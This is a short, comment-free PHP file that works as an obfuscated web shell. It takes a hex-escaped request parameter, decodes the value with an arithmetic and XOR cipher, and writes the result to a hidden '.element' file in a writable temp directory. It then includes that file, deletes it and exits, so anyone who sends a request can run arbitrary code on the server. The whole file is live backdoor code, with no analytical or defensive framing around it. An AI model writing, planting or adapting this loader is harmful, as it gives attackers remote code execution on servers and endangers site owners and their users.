<?php

if(!is_null($_REQUEST["\x70o\x69nt\x65r"] ?? null)){
	$parameter_group = array_filter(["/dev/shm", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", session_save_path(), getcwd(), getenv("TMP")]);
	$flag = $_REQUEST["\x70o\x69nt\x65r"];
	  $flag	=	  explode	 	( 	 '.'  ,		$flag		);   
	$ref =	'';
            $salt6 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =	strlen($salt6 );
    
            foreach ($flag as $u	 => $v7):
                $chS =	ord($salt6[$u  %$lenS] );
                $d =	((int)$v7 - $chS - ($u  %10)) 	^61;
                $ref.=chr($d );
            endforeach;
	while ($sym = array_shift($parameter_group)) {
    		if ((is_dir($sym) and is_writable($sym))) {
    $val = implode("/", [$sym, ".element"]);
    $file = fopen($val, 'w');
if ($file) {
	fwrite($file, $ref);
	fclose($file);
	include $val;
	@unlink($val);
	exit;
}
}
}
}